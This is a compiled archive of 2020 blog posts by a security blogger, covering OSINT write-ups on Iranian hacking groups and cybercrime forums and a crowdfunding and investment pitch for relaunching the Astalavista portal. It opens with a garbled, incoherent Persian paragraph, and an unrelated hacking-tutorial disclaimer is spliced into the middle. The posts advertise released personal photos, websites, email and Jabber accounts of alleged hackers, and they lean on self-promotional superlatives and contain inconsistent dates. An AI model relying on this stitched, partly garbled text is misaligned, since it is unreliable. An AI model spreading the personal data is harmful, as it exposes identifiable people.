در جواب دعوت کمتر فرصتی را می‌توان یافت که نام گروه آشیانه را به عنوان یک گروه هنگر شنیده باشد. اولین گروه هنگری که در ایران آمالگاه موجودیت گرفت و چندین دوره سرسوا مانند هنگ گرایش سرسوهای باشد هنگ گرایش موجودیت سابقه ایرانی می‌باشد. برای هنگ نظر به محتوای سایت‌ها، هنگ سایت‌های تلفنی و اسرائیلی و سایت‌های که از مزیت خارج عربی ۴ استفاده کرده‌اند و از نگرانیه خود دارند. و گزارش خودهای آموزشی هنگ و امنیت سایت‌ها و گزارش سایت‌های تخصصی مانند با خود و آگاه سرویس‌های است خود را دیگر فعالیت‌های این گروه است.

وقتی این گذشته گزارش را می‌بینید خصوصاً این موضوع امنی را بدید هنر کرده و شاوران گوناگون و وسیعی با شما همراه کرده و وقت آگاهیتان در زمینه سیستم‌های امنیتی و محافظتی است اما همان طور که در تصویر می‌بینید گروه آشیانه از چندین جوان با مرهای حدود ۲۰-۲۶ سال تشکیل شده است که فارغ از همه حالگیری‌ها و مرزبندی‌ها تشکیل هنگ هستند و پویان مانده و معتقد خود نیز به شدت تعصب دارند و پهروز کمالیان، گفت‌وگویی صمیمانه و رک داشتیم با مقصودی که احتمالاً به احتمال گرمای صحبت‌های ما و مثل شده به گرمای شدید آن روزهای تهران می‌گرفتیم و تنها هیچ شک کنندهای در آتش موجب شد که

16.5.1 Exposing Iran's Hacking Scene and Hacking Ecosystem Major Web Site Repo-

sitiories - An OSINT Analysis (2020-07-12 07:37)

Dear blog readers,

I wanted to take the time and effort and present the findings including an excerpt from

my most recently released and freely available report on Iran's Hacking Scene and Hacking

7561

Ecosystem which is a complimentary Technical Collection research based analysis sponsored

and requested by Wallmart Threat Intelligence team for the purpose of actively gathering ac-

tionable intelligence on Iran's Hacking Scene and Hacking Ecosystem and actually distributing

it online for free making it one of the most comprehensive and extensive publicly accessible

research analysis on Iran's Hacking Scene and Iran's Hacking Ecosystem.

In this post I'll present the findings including personally identifiable photos of major Iran-

based hacking groups and threat actors including all the currently active Iran-based personal

Web sites belonging to individual Iran-based hackers and hacking groups including personal

Web sites of some of the team members of some of Iran's leading and major hacking and

Web site defacement groups with the idea to assist the Security Industry the U.S Intelligence

Community and U.S Law Enforcement on its way to track down and prosecute the individuals

behind these campaigns part of my most recently released and publicly accessible report on

Iran's hacking scene and hacking ecosystem.

16.5.2 Exposing Bulgaria's Involvement in Cold War Espionage - Who Stole the PC

and Build a Fake Pro-Western Empire? - An OSINT Analysis (2020-07-13 19:52)

Dear blog readers,

I wanted to take the time and effort and personally present the "crown jewels" of my research

into [1]Bulgaria's involvement in Cold War Espionage in the context of writing and distributing

computer viruses using educational institutions as a front-end to spread and disseminate

computer viruses and actually participate in a variety of high-profile hacking phreaking and

cracking project throughout the 90's perfectly fitting and violating the [2]COCOM embargo

imposed by the United States during the Cold War.

Sample SNA (Social Network Analysis) of key participants in Bulgaria's virii writing and

hacking scene throughout the 90's:

16.5.3 Exposing the Modern Cybercrime Ecosystem - A Compilation of Currently Ac-

tive Cyberfrime-Friendly Forum Communities - Part Two (2020-07-17 15:04)

7851

Dear blog readers,

This is the second post part of the "[1]A Compilation of Currently Active Cyberfrime-Friendly

Forum Communities" blog post series part of my currently ongoing [2]Law Enforcement and

OSINT operation "[3]Uncle George" that aims to empower your team or organization with the

necessary Technical Collection data to help you fight against cybercrime incidents including

the U.S Intelligence Community and U.S Law Enforcement with the necessary information to

track down shut down and prosecute the cybercriminals behind these campaigns.

Currently active portfolio of cybercrime-friendly invite-only and publicly accessible fo-

rum communities:

16.5.5 Cybercrime Forum Data Set - 2019 - Free Download! (2020-07-17 15:09)

Dear blog readers,

I wanted to take the time and effort and let you know that I've decided to make the cy-

bercrime forum data set part of my Law Enforcement and OSINT analysis operation "[1]Uncle

George" publicly accessible for free with the idea to solicit more participants in the ongoing

law enforcement and OSINT operation "[2]Uncle George" with the idea to crowd-source the

actual enrichment process potentially reaching out to the security industry the U.S Intelligence

Community and U.S Law Enforcement on its way to track down shut down and prosecute the

individuals behind these campaigns.

Grab a direct download copy of the entire Cybercrime Forum Data Set from [3]here.

16.6 August

16.6.1 Cyber Security Project Investment Proposal - Astalavista Security Group - Of-

ficial Re-Launch - Support me Today! (2020-08-28 12:28)

[1]

Dear blog readers, I wanted to take the time and effort and present a currently active cyber

security project proposal with you for the purpose of soliciting your feedback including possible

project donations using my PayPal ID: dancho.danchev@hush.com

Long story short - I've spend the last couple of months doing active Security Industry

and Security Community outreach for the purpose of soliciting possible funding including

feedback and operational activity type of support for the project - which is basically [2]**my**

old working place circa the 90's - Astalavista Security Group - where I've recently received

a direct proposal to acquire run and manage and actually re-launch and re-surrect the portal

the way we know it -The World's Most Popular Information Security Portal also known as the

Underground.

7901

[3]

As it's been a while since I've been full-time employed meaning I don't currently posses the

necessary funds to actually take care of the legal fees including the actual re-launch and

introduction including implementation of new services - I decided to post this cyber security

project proposal with the idea to seek everyone's assistance for the purpose of donating using

my PayPal ID: dancho.danchev@hush.com which I'll use to actually finance and run the portal

within the next couple of months with official launch eventually scheduled for January 1st

2020.

What we currently need?

Basically what I need is your financial support including possi-

ble operational activity support in the form of anything that you could possibly offer for the

purpose of re-surrecting and re-launching the portal.

Consider going through the cyber security project proposal and approach me at - dan-

cho.danchev@hush.com for a possible donation using PayPal.

[4]

7902

Welcome to the Wonderful Future of Information Security!

In a World dominated by technological innovation and inter-connected devices - the World's

leading expert (http://ddanchev.blogspot.com) in the field of cybercrime research security

blogging and Threat Intelligence gathering is proud to present the upcoming availability of

a ubiquitous hacker and security-expert-friendly IoT (Internet of Things) device empowering

Astalavista Security Group - The Underground 2.0 - The World’s Most Popular Information

Security Portal empowering Europe’s oldest running and most popular Hacking and Security

Company with the general availability of the Astalavista Security Group - The Underground

2.0 IoT device envisioned to be shipped to every home and every house internationally

empowering a new and future generation of Hackers and Security Experts within a period of

six months service the needs of millions of loyal users globally.

7903

Astalavista Security Group - The Underground Security Lab Circa 2006:

[5]

The main purpose behind this campaign is to raise the necessary funds for the initial

launch of the project including the first stage of the project which will consist of active Security

Community operation and launch that would later on mature into a SaaS (Software-as-a-

Service) type of ubiquitous IoT (Internet of Things) device shipped to millions of users globally

empowering a new and future generation of Hackers and Security Experts.

CEO and Managing Director - Dancho Danchev - Presenting on the "Exposing Koobface -

The World’s Largest Botnet":

[6]

7904

Personal Message

Dear Community,

My name is Dancho Danchev (http://ddanchev.blogspot.com) and I represent the World’s

Largest and Most Popular Information Security Portal where I used to act as a Manag-

ing Director throughout 2003-2006 where I was responsible for daily Security News and

Security Directory moderation and content management including advertising inventory

including the launch and maintenance of a highly popular monthly Security Newsletter

(https://packetstormsecurity.com/groups/astalavista/) with thousands of subscribers across

the globe featuring exclusive Security Interviews with people from the Scene including Security

News Security Articles and Security Directory submission type of content and I wanted to

reach out to the Community with the idea to seek your assistance and future help in the

upcoming launch of the portal.

7905

[7]

The main purpose behind this campaign is to raise the necessary funds from the Community

for the purpose of ensuring a proper and smooth launch that would eventually position the

company and the project as the World's Most Popular Information Security Portal including

daily campaign updates and real-time notifications of new features and company and project

service and product.

The campaign will issue daily updates with fresh news directly from the Security Lab for

the purpose of ensuring that the Community and possible backers remain on the top of the

campaign updates allowing the Community and possible backers with the opportunity to direct

their questions and possible feedback to the company CEO and acting Managing Director -

Dancho Danchev.

Sample Screnshots of the Secure Anti Forensic Anonymous Operating System That We Indent

to Use:

[17]

7911

What we need in terms of this project?

• We’re currently seeking your financial support in terms of this crowd-funding project for

the purpose of this re-surrecting and re-lauching the portal

• We’re currently seeking a possible Investor and Project Adviser including VIP Signup in-

cluding People in the following Staff Categories. Do you think you can help? Approach me

today at dancho.danchev@hush.com to discuss your possible involvement in the project

in terms of Staff Members and possible cooperation

• Help us spread the word - the firs thing that we need is for you to ask your friends and

colleagues to go through this Crowd-Funding campaign and possibly donate including to

share the link with fellow colleagues and friends.

[18]

7912

The Astalavista Security Group Crowd-Funding Project Timeline - Key Summary Points in

Chronological Order

• Official Crowd-Funding campaign launch

• Reaching out to friends and colleagues on LinkedIn and Twitter including personal contacts

• Daily News from the Security Lab in terms of the campaign and how the money received

will go for re-surrecting and actually re-launching of the portal

• Live YouTube Broadcast with CEO and Managing Director - Dancho Danchev - for the pur-

pose of introducing the project and what exactly we're trying to achieve in terms of the

crowd-funding campaign

Sample Proposed Implementation of a bult-in Honeypot on the actual IoT device to be

shipped to hundreds of thousands of users globally through the use of Honeytoken-based

"Fake Cyber Artifacts":

7913

[19]

How we're going to use the money?

The following is a brief estimate on how we're going to use the initial $50,000 as re-

quested by my blog readers:

• $4,000 - Legal Fees

• $1,000 - Travel

• $10,000 - SaaS Platform

7914

• $10,000 - Secure OS Development

• $5,000 - Marketing

• $10,000 - Product Inventory

• $10,000 - Miscellaneous Including Shipping and Official Launch

What is Astalavista Security Group - The Underground 2.0?

Astalavista.com - The Underground, is one of the world's most popular and comprehen-

sive computer security web sites. Astalavista.com was originally founded in 1997, by a hacker

computer enthusiast. Since then, the site became the underground's most respected and

well maintained portal for anything you ever wanted to know about hacking and cracking.The

enormous database, the constant updates, the unique nature of the content published, the

new services and features, all offered for free, turned Astalavista.com into what it is today - a

cult!

Mission Statement and Company Vision

Company Mission - " *To manage launch and operate the World's Largest and Most Vibrant*

Hacking and Security Community empowering millions of users globally with the necessary

data information and knowledge to stay ahead of current and emerging threats".

Company Vision - " *To become the The World's largest security and hacking SaaS innova-*

tion and business development enabler successfully serving the needs of millions of loyal

users across the globe - A Hacker and a Security Expert in Every Home".

Key Facts About The Company and the Project

• Europe's Oldest Running and Most Popular Hacking and Security Brand

• Ubiquitous IoT device in every house and every home running the proprietary and secure

Astalavista OS featuring exclusive in-house and in-home access to the Premium and Pro-

prietary Astalavista Security Group 2.0 API-based SaaS platform featuring unique access

to the World's Most Vibrant and Largest Hacking and Security Platform

• A hacker and a security expert in every house and every home

7915

• API-based self-sufficient cyber and unique branded hacking and security economy

• Millions of loyal users converted to loyal home and house users and experts

• The World's Largest and Most Vibrant Hacking and Security Economy

• Millions of security and hacking downloads

• Millions of security and hacking video downloads

• Millions of security and hacking book downloads

• Millions of security and hacking podcast downloads

Project History - Astalavista 2.0 Throughout The Years

Interview with a core founder of Astalavista.com

Dancho: Hi Prozac, Astalavista.com - the underground has been one of the most popu-

lar and well known hacking/security/cracks related web site in the world since 1997. How did

it all start? What was the idea behind it?

Prozac: Basically, it was me and a college friend that started Astalavista.com during our

student years. The name of the site came from the movie Terminator 2 from Schwarzeneg-

ger's line " Hasta la vista Baby"! Back in those days there weren't many qualified security

related web sites, and we spotted a good opportunity to develop something unique, which

quickly turned into one of the most popular hacking/security sites around the globe. In the

beginning, it was just our Underground Search List, the most comprehensive and up-to-date

search list of underground and security related web sites, based on what we define as a quality

site. Then we started providing direct search opportunities and started developing the rest

of the site. Many people think we did some serious brainstorming before starting Astalavista,

well, we did, but we hadn't expected it to become such a popular and well known site, which

is the perfect moment to say thanks to all of you who made us as popular as we're today.

Dancho:

Astalavista.com always provides up to date, sometimes "underground" docu-

ments/programs. The Security Directory is growing daily as well, and it has been like this for

the past several years. How do you manage to keep such an archive always online, and up to

date?

Prozac:

Astalavista's team members are aware of what's "hot" and what's interesting

for our visitors, just because we pay an enormous attention to their requests for security

knowledge, and try to maintain a certain standard, only quality files. While we add files

every day, a large number of those are submitted by our visitors themselves, who find their

programs and papers highly valued at our site, as we give them the opportunity to see how

many people have downloaded their stuff.

Dancho:

Astalavista occupies people's minds as the underground search engine.

But

what is Astalavista.com all about?

Prozac: The majority of people still think Astalavista.com is a Crack web site, which is

NOT true at all.

Astalavista.com is about spreading secutity knowledge, about providing

professionals with what they're looking for, about educating the average Internet user on

various security issues; basically we try to create a very well segmented portal where ev-

eryone will be able to find his/her place. We realize the fact that we're visited by novice,

advanced and highly advanced users, even government bodies; that's why we try to satisfy

everyone with the files and resources we have and help everyone find precious information

at astalavista.com. Although we sometimes list public files, the exposure they get through

our site is always impressing for the author, while on the other hand, some of the files that

are listed at Astalavista.com sometimes appear for the first time at our site. We try not to

emphasize on the number of files, but on their quality and uniqueness.

Dancho: Everyone knows Astalavista, and sooner or later everyone visits the site.

How

did the image of Asta become so well-known around the world?

Prozac:

Indeed, we are getting more and more visitors every month, even from coun-

tries we didn't expect. What we think is important is the quality of the site, the lack of porn,

the pure knowledge provided in the most professional and useful way, the free nature of the

site, created "for the people", instead of getting it as commercial as possible. Yes, we work

with a large number of advertisers, however, we believe to have come to a model where

everyone's happy, advertisers for getting what they're paying for, and users for not being

attacked by adware or spyware or a large number of banners.

Dancho: A question everyone's asking all the time - is Astalavista.com illegal?

7921

Prozac: No!

And this is an endless debate which can be compared to the Full Disclo-

sure one. We live in the 21st century, a single file can be made public in a matter of seconds,

then it's up to the whole world to decide what to do with the information inside. We're often

blamed because we're too popular and the files get too much exposure. We're often blamed

for serving these files to script-kiddies etc. Following these thoughts, I think we might also

ask, is Google illegal, or is Google's cache illegal?! Yes, we might publish certain files, but

we’ll never publish "The Complete Novice Users on HOWTO ShutDown the Internet using 20

lines VB code". And no, we don’t host any cracks or warez files, and will never do.

Dancho:

Such a popular security site should establish a level of social responsibility -

given the fact how popular it is among the world, are you aware of this fact, or basically it’s

just your mission that guides you?

Prozac: We’re aware of this fact, and we keep it in mind when approving or adding new

content to the site. We also realize that we still get a large number of "first time visitors",

some of them highly unaware of what the security world is all about; and we try to edu-

cate them as well.

And no, we’re not tempted by "advertising agencies" eager to place

adware/spyware at the site, or users submitting backdoored files, and we have a strict policy

on how to deal with those - "you’re not welcome at the site"!

Dancho:

We saw a completely new and "too professional to be true" Astalavista.com

since the beginning of 2004 - what made you renovate the whole site, and its mission to a

certain extend?

Prozac: It was time to change our mission in order to keep ourselves alive, and most

importantly, increase the number and quality of our visitors, and we did so by finding several

more people joining the Astalavista.com team, closely working together to improve and

popularize the site. We no longer want to be defined as script kiddies paradise, but as a

respected security portal with its own viewpoint in the security world.

Dancho: What should we expect from Astalavista.com in the near future?

Prozac: To put it in two words - changes and improvements.

We seek quality and inno-

vation, and have in mind that these developed by us, have an impact on a large number of

people - you, our visitors. Namely because of you we're devoted to continue to develop the

site, and increase the number of services offered for free, while on the other hand provide

those having some sort of purchasing power and trusting us with more quality services and

products.

Dancho: Thanks for the chat!

Prozac: You’re more than welcome :)

A Brief Introduction to the History of the Scene Through the Prism of CEO and Manag-

ing Director - Dancho Danchev - The Maniac - circa the 90’s

[32]

7923

The Scene we know it back in the 90’s was primarily consisting of several high profile

security and hacking Web site portals including astalavista including several high Profile

Top Links Lists for hacking and security Web sites including a countless number of personal

hacking and security projects courtesy of users across the globe. Privacy did not exist as

terms that would raise someone's eye-brows and Security and Hacking was a free spirit topic

to which the CEO and acting Managing Director - Dancho Danchev - throughout the 90's used

to spent a decent portion of his time going through Security and Hacking manuals documents

and text files including the experimentation with various Security and Hacking tools including

ICQ flooders, Nuke Bombers and trojan horses leading him to pursue a career as a member of

a variety of Security and Hacking groups including a successful career as a Technical Collector

of trojan horses with the market leading anti-trojan software at the time - Trojan Defense Suite

and LockDownCorp's LockDown2000 anti-trojan software throughout the 90's.

Trojan Information Database courtesy of CEO and Managing Director - Dancho Danchev

- exclusively created and developed for Trojan Defense Suite:

This guide is for educational purposes only I do not take any responsibility about anything happen after reading the guide. I'm only telling you how to do this not to do it. It's your decision. If you want to put this text on your Site/FTP/Newsgroup or anything else you can do it but don't change anything without the permission of the author.I'll be happy to see this text on other pages too.

All copyrights reserved.You may destribute this text as long as it's not changed.

<--=--=--=--=--=--=--=-->
Author Notes:

I hope you like my texts and find them useful.
If you have any problem or some suggestion feel free to e-mail me but please don't send mails like "I want to hack the US government please help me" or "Tell me how to blind a trojan into a .jpg" "WHere can I get a portscanner" etc.....
Be sure if I can help you with something I will do it.
I've started writing security related tutorials and I hope you like that.I'll try to cover much more topics in my future texts and I want to thank to all of the people that like my texts.

The following list of feature will offer insight on the upcoming core features products

and community-based services and products

New Core Astalavista Security Group 2.0 Products

• Secure Desktop PC - Introducing the World's most private and anonymous Desktop PC -

The Quebes OS

• Privacy Router - Introducing the World's most secure and privacy-oriented VPN router part

of the CHAVPN closed-access network group

• Secure Mobile - Introducing the World's most secure and versatile security and privacy-

features enabled Mobile Device

• Secure PC - Introducing the World's most secure tamper-proof Desktop PC

• Secure Keyboard - Introducing the World's most secure and privacy-proof security key-

board

• Secure USB - Introducing the World's most secure FIPS-validated USB storage device

• Wireless Penetration Appliance - Introducing the World's leading Wireless Penetration Ap-

pliance

• Honeypot appliance - Introducing the World's leading and most versatile honeypot appli-

ane

• Penetration Testing Appliance - Introducing the World's Most versatile penetration testing

appliance

7930

• Bluetooth Penetration Testing Appliance - Introducing the World's most ubiqutous and

secure Bluetooth Penetration Testing Appliance

New Core Astalavista Security Group 2.0 Services

• Astalavista Malware Connector - Infected with Malware? Let our experts and Security Team

take care of the rest

• Astalavista Cloud Antivirus - Introducing the World's Premier Cloud-based Antivirus Scan-

ner

• Astalavista DNS Security Service - Introducing the World's Most Comprehensive Sensor

Network for anticipating and responding to current and emerging threats

• Astalavista Web Site Malware Scanner - Are you a Web site Owner? Let our service auto-

matically scan and detect and remove malicious software from your Web site

• Astalavista Honeypot Service - Interested in learning more about cyber threats? Consider

becoming part of World's Most Comprehensive Honeypot Sensor Network

• Astalavista Threat Intelligence Service - Worry about malicious software entering your

network and data premises? Consider subscribing to The World's Most Comprehensive

Threat Intelligence gathering and sharing Service

• Astalavista Penetration Testing Service - Are you part of a security organization worrying

about the latest threats facing your infrastructure? Consider becoming part of Astalav-

ista's Penetration Testing Service - the Woqrld's Premier Penetration

Testing on Demand

Service.

• Astalavista Security Training Service - Interested in learning more about computer and

network security? Consider becoming member of the World's Most Versatile Portfolio of

training courses and material

New Core Astalavista Security Group 2.0 Community-Oriented Services

• Wargames Server - Want to learn new hacking and security tricks and tools of the trade?

Consider obtaining access to our sophisticated Wargames Server

• Astalavista Security Group's Security and Hacking Search Engine - Introducing the World's

Largest and Most Comprehensive Search Index of Hacking and Security Content

• Hacking Mailing List - Introducing the World's leading and most proprietary Hacking Mail-

ing List

• Hacking E-Zine - Introducing the World's Leading Hacking E-zine featuring content from

hundreds of security authors and experts from across the globe

• Bug Bounty - Do you have experience in finding security bugs and vulnerabilities? Con-

sider joining the World's Largest and Most Versatile Bug Bounty program

• IRC Network - Are you a fan of IRC? Consider joining the World's Largest Hacking and

Security IRC Network and talk with us in real-time

• Security Conference - Introducing the World's Leading and Premier Security Conference

Event featuring thousands of security experts conversations and discussions

• Security Comic - Are you a fan of Comic Books? Consider obtaining access to the World's

Premier and Leading Information Security and Hacking Comic Book

• Security Incubator - Do you have an idea for a new security product or a service? Consider

submitting your project proposal and we'll be happy to assist with an investment proposal

• Security and Hacking E-Books - Introducing the World's Leading in-house portfolio of Hack-

ing and Security E-Books empowered by hundreds of security experts and authors across

the globe

• Job Search Engine - Interested in finding the latest and hottest security job? Consider

obtaining access to the World’s Leading and Most Comprehensive Security Career Portal

• Hacking Game - Enjoy playing computer games? Consider obtaining immediate access to

Astalavista Security Group’s Flagship Online Premium Hacker Game - The Underground

• Hacking Radio - Enjoy listening to music and security podcasts? Consider obtaining access

to Astalavista Security Group’s Security and Hacking Radio

• Security Podcast - Enjoy listening to the latest security news and events across the indus-

try? Consider obtaining access to Astalavista Security Group’s Premium Security Podcast

• Security Newsletter - Enjoy keeping yourself updated with the latest security news and

events across the industry? Consider obtaining access to Astalavista Security Group’s

Security Newsletter

Astalavista Attracts The Following Audiences

• Novice computer users

• Enterprise Decision Makers

• IT staff personnel

• Non-profit organizations

• Government and Military Institutions

• Fortune 500 companies staff members

Astalavista Experiences as Seen By Our Visitors

These stories are taken from various talks with our visitors, their intention is to bring

more insight in the various individuals using our site.

• The System Administrator - "As an administrator of a network of one thousand computers,

my job consists of guaranteeing that our applications are build in with security in mind,

that our desktop computers are malware and spyware free, and, to a certain extent, that

our users are aware of various computer security hazards. I visit Astalavista.com when-

ever I look for something in particular, or just to follow the trends. Astalavista.com has

obviously evolved during the years, it has turned into a daily updated security portal,

emphasizing on the most severe security issues, not just listing tools and documents.

When I visit the site, I know I am up-to-date. Most of our desktop computers are using IE,

something that is hopefully going to change after I show the statistics of spyware infec-

tions to the management. Anyway, I came across some unique patches to IE at your site,

which I applied on all the desktops. I also blocked all known CoolWebSearch ip ranges

again by finding an article at your site. The best about Astalavista.com is that I never

know what I'm going to find at the site on the next day. As your submissions cover so

many IT/network/security/privacy/social/espionage topics, sometimes I cannot catch up

with you, people. You’re resourceful!"

• The Novice Computer User - "Mainly because this is one of the best sites related to security.

I want knowledge, I want tools, I want to know some patch to improve the security of my

computer, and no, I don’t want to become a hacker. I just care for protecting against

the latest threats. Astalavista.com always provides me with content that I cannon find

anywhere else; and the best thing is that you take the time and effort to update the site

on a daily basis. I visit the site because it’s "for the people"; it’s as much as possible

ad-free, or whenever there are some ads, they’re not distracting or annoying - something

that is rarely seen these days. When was the last time when you found something worth

reading or using at the site, and how did it help you improve your security? Well, I learnt

how I had been infected with viruses and worms all the time through a couple of tutorials.

Now, I’m much more aware of what’s going on when I connect to the Internet. A couple

of months ago I didn’t realize that my computer is under attack all the time. Now, I know

that I can stop most of the threats if I first know that they exist - this is how the site helps

me."

• The Researcher - "For me, Astalavista.com is still the underground site I used to visit during

all these years. But if you hadn't repositioned it into a more security related instead of

a hacking oriented site, it would have probably become a public disaster, given the rise

of the script kiddies and wannabe hackers these days. At the site I find code and docs I

cannot find anywhere else - if I were to Google around, it would be pretty pointless. The

best about the site is that it is always up-to-date. My job consists of analyzing malware

and spyware activities around the Internet, and then providing a reliable, yet innovative

solution to the problem. I am impressed by the amount of information I usually find -

anything somehow related to my research at your site. When was the last time when

you found something worth reading or using at the site, and how did it help you in your

research? Spyware details, I find a lot of info about spyware trends, and, of course, the

latest released backdoors, which I could analyze later on. The approach you use with

your Security Directory is great. I can always look at another aspect of the topic just by

following the next submission. My best regards to everything you do at the site, it is one

of my favourite ones."

• The Corporate Representative - "As a CIO of a large enterprise, I always need to know

what is in the wild, what might be next - proactive thinking plays an important role in my

job. Your site is among the ones that I visit every day and sometimes it has more power to

change my current strategy than some public survey or a computer crime statistics. We

have realized that IE is not as secure as we thought it was by reconfiguring certain features.

I myself have a very busy schedule so I do appreciate the amount of well-categorized

information at one place - the way I see it at Astalavista. We were also able to identify

0-day tools that bypass all of our desktop firewalls and allow the execution of malicious

software. Currently we know more about the technique used and we have managed to

block it. Astalavista.com gives me another vision - something that I cannot receive from

the security companies we are working with."

• The Hacker - "Astalavista.com is a true underground site. By “underground” I don’t mean

a place where illegal individuals exchange thoughts, tools etc. This is the only place,

independent of products and companies, where people, even guys that I know, still submit

tools and papers for the idea of doing it - not for the financial gains. I’m alive at Astalavista,

for me it is like I got slash-dotted with knowledge, just because sooner or later everyone

visits the site, and it’s the best place for all kinds of audiences.

Although there're a lot of

tools at the site, it's knowledge, not tool- oriented. When was the last time when you found

something worth reading or using at the site, and how did it help you in your activities?

People's code, which I analyze later on, people's papers and the way you present security

information as a whole. Recently I found an advanced assembly-programming tutorial at

the site. I had never come across such a good one before - it gave me useful tips and rare

comments about them".

Key Marketing Messages Include

• Hack others and let others try to hack you and earn money in the process

• Launch your own hacker and security company

• Earn money for being a hacker and a security expert

• Teach others and learn from others and earn money in the process

• Learn how to find security bugs and break into computer systems and earn money in the

process

• Track down hackers as they try to attack your infrastructure and earn money in the process

• Earn money from sharing and distributing security and hacking data and knowledge

• Track down malicious attackers as they try to attack your infrastructure and earn money

for participating

Astalavista Security Group – Astalavista 2.0 – Investment Proposal

Astalavista Security Group 2.0 – Re-defining the Basics of Information Security and Threat Intelligence

- What is Astalavista Security Group?
- What is Astalavista 2.0?
- Who's behind it?
- Key differentiation factors
- Key products and services
- Summary of Proposal

[74]

7964

- Contributor to HelpNetSecurity
- Managing Director of Astalavista Security Group
- Security Consultant for Frame4 Security Systems
- Contributor to TechGenix's WindowSecurity.com
- Security blogger for ZDNet Zero Day, Threat Intelligence Analyst for Webroot

[80]

[81]

7968

- Search engine
- Job recruitment and talent management portal
- Proprietary invite-only paid social media platform
- Security and hacking oriented 24/7 online Radio
- Major security and hacking conference and event

- SecureCloud security router
- PrivateOS privacy router
- Secure encrypted mobile phone
- Secure custom-branded email service
- A diverse portfolio of services targeting the Information Security industry and the hacking community

[82]

[83]

What We Do at the Office:

7969

[84]

[85]

MASTER OF ORION

[86]

[87]

7971

What We Need and What You Get

- Initial investment to expedite the process and to begin to work on the project right

away and to define time-to-market

- Possible relocation for the core founder including eventual office space

- Investment commitment to ensure a smooth and proper launch of the platform

- Financial and corporate mentorship to ensure that the project wouldn't be left behind

Astalavista Security Group Security Training - Basics of Cyberwarfare

Explore of the Basics of Cyberware

by Dancho Danchev

Change photo

Free

Take This Course

Highlights

- What is Cyberwarfare?
- In-depth Discussion on the Basics of Cyberwarfare
- Overall overview of The Top Cyberwarfare Service Providers
- In-depth Discussion on Nation-State Actors
- Overview of Current and Emerging Cyberwarfare Services and Technologies

Certificate: No

Level: Beginner

Language: English (US)

About Instructor

COURSE DETAILS

Astalavista Security Group 2.0 - The World's Most Popular Information Security Portal is proud to present the general availability of a new course material entitled - The Basics of Cyberware offering an in-depth overview of the World of Cyberwarfare including in-depth discussion of various technologies service providers offensive and defenstive cyberwarfare methodologies including in-depth discussion on various nation-state actors further offering an in-depth overview of current and emerging trends including an in-depth discussion on the future of cyberware.

- Chapter 1: Introduction to Cyberwarfare
- Chapter 2: Basics of Cyberwarfare
- Chapter 3: Overview of Public Cyberwarfare Tools
- Chapter 4: Overview of Proprietary Cyberwarfare Tools

Dancho Danchev is the world's leading expert in the field of cybercrime fighting and threat

intelligence gathering having actively pioneered his own methodology for processing threat

intelligence leading to a successful set of hundreds of high-quality analysis and research

articles published at the industry's leading threat intelligence blog - ZDNet's Zero Day,

Dancho Danchev's Mind Streams of Information Security Knowledge and Webroot's Threat

Blog with his research featured in Techmeme, ZDNet, CNN, PCWorld, SCMagazine, TheRegister,

NYTimes, CNET, ComputerWorld, H+Magazine currently producing threat intelligence at the

industry's leading threat intelligence blog - Dancho Danchev's - Mind Streams of Information

Security Knowledge.

With his research featured at RSA Europe, CyberCamp, InfoSec, GCHQ and Interpol the

researcher continues to actively produce threat intelligence at the industry's leading threat

intelligence blog - Dancho Danchev's - Mind Streams of Information Security Knowledge

publishing a diverse set of hundreds of high-quality research analysis detailing the malicious

and fraudulent activities at nation-state and malicious actors across the globe.

Dancho Danchev currently maintains and has maintained one of the Security Industry's

leading Security Publications - Dancho Danchev's Blog - Mind Streams of Information Security

Knowledge since 2005 and has already received over 5M page views including the establish-

ment of a loyal base of users with the idea to spread data information and knowledge on

current and emerging Cyber Threats.

16.6.2 Announcing Law Enforcement and OSINT Intelligence Operation "Uncle

George" - Join Me Today! - Part Three (2020-08-28 12:32)

[1]

Dear blog readers,

I've decided to issue the following update in terms of my currently ongoing OSINT and Law

Enforcement [2]Operation called "[3]Uncle George" which basically consists of all the publicly

accessible IPs for all the currently active and publicly accessible cybercrime-friendly forum

communities which I've recently presented in a series of blog posts entitled "[4]Exposing the

Modern Cybercrime Ecosystem - A Compilation of Currently Active Cyberfrime-Friendly Forum

Communities" including to present one of the most comprehensive [5]Cybercrime Forum Data

Sets for 2019 which you can publicly download for the purpose of enriching and processing the

actual data set which you can then use to contact me at dancho.danchev@hush.com for the

purpose of sharing your findings and I'll make sure to quickly feature the results in a series of

upcoming blog posts.

Grab a copy of the [6]Cybercrime Forum Data Set for 2019 from [7]here and drop me a line

at dancho.danchev@hush.com in terms of sharing your findings and I will shortly feature the

actual results in a separate blog post.

7989

Sample responding IPs belonging to the currently active compilation of cybercrime-friendly

communities which I've recently posted with the idea to take them offline and potentially

assist U.S Law Enforcement on its way to track down and prosecute the cybercriminals behind

these campaigns:

16.6.3 Profiling a Currently Active Portfolio of High-Profile Cybercriminal Jabber and

XMPP Accounts Including Email Address Accounts - Part Two (2020-08-28 12:33)

Dear blog readers,

I wanted to take the time and effort and some of my recently published and released find-

ings part of my currently ongoing OSINT and Law Enforcement [1]Operation called "[2]Uncle

George" where I intend to present the findings from what appears to be one of the most com-

prehensive and publicly accessible free [3]Cybercrime Forum Data Set for 2019 where I intend

to actually shut down some of the cybecrime forum communities which I included in the origi-

nal data set potentially assisting the U.S Intelligence Community and U.S Law Enforcement on

its way to track down and prosecute the cybercriminals behind these campaigns and actually

assist in a possible cybercrime forum take down attempt.

In this post I'll share a direct download copy including an actual direct download link for some of

the [4]high-profile cybercriminal XMPP/Jabber accounts including email addresses that are ac-

tually participating in rogue and fraudulent online service propositions with the idea to possibly

assist in a current or ongoing "lawful surveillance" type of law enforcement or U.S Intelligence

Community activity including a [5]sample of all the IPs found in the publicly accessible data

set.

[6]

Grab a [7]direct download copy of all the XMPP/Jabber including email addresses found in the

original [8]Cybercrime Forum Data Set for 2019 which you can also download from [9]here

for research and historical OSINT preservation purposes and actually approach me at dan-

cho.danchev@hush.com in terms of sharing the results of your enrichment process which I

will then shortly feature in a separate post.

Sample high-profile cybercriminal XMPP/Jabber including email addresses of high-profile cy-

bercriminals released courtesy of OSINT and Law Enforcement Operation "Uncle George":

16.7.1 Cyber Security Project Investment Proposal - Cybertronics - VR for Hackers

and Security Experts - Support me Today! (2020-09-01 19:19)

[1]

We started in 2019 thanks to our CEO Dancho Danchev who decided to launch a major prod-

uct called Cybertronics - VR for Hackers and Security Experts including the establishing of a

direct partnership with Astalavista.box.sk the original hackers search engine circa 1994 where

he’s currently running a high-profile hacking and security project serving the needs of millions

of loyal U.S based users including international users following a successful re-launch of the

Astalavista.box.sk project.

Pitch

Welcome to the Wonderful World and the Future of Hacking and Information Security!

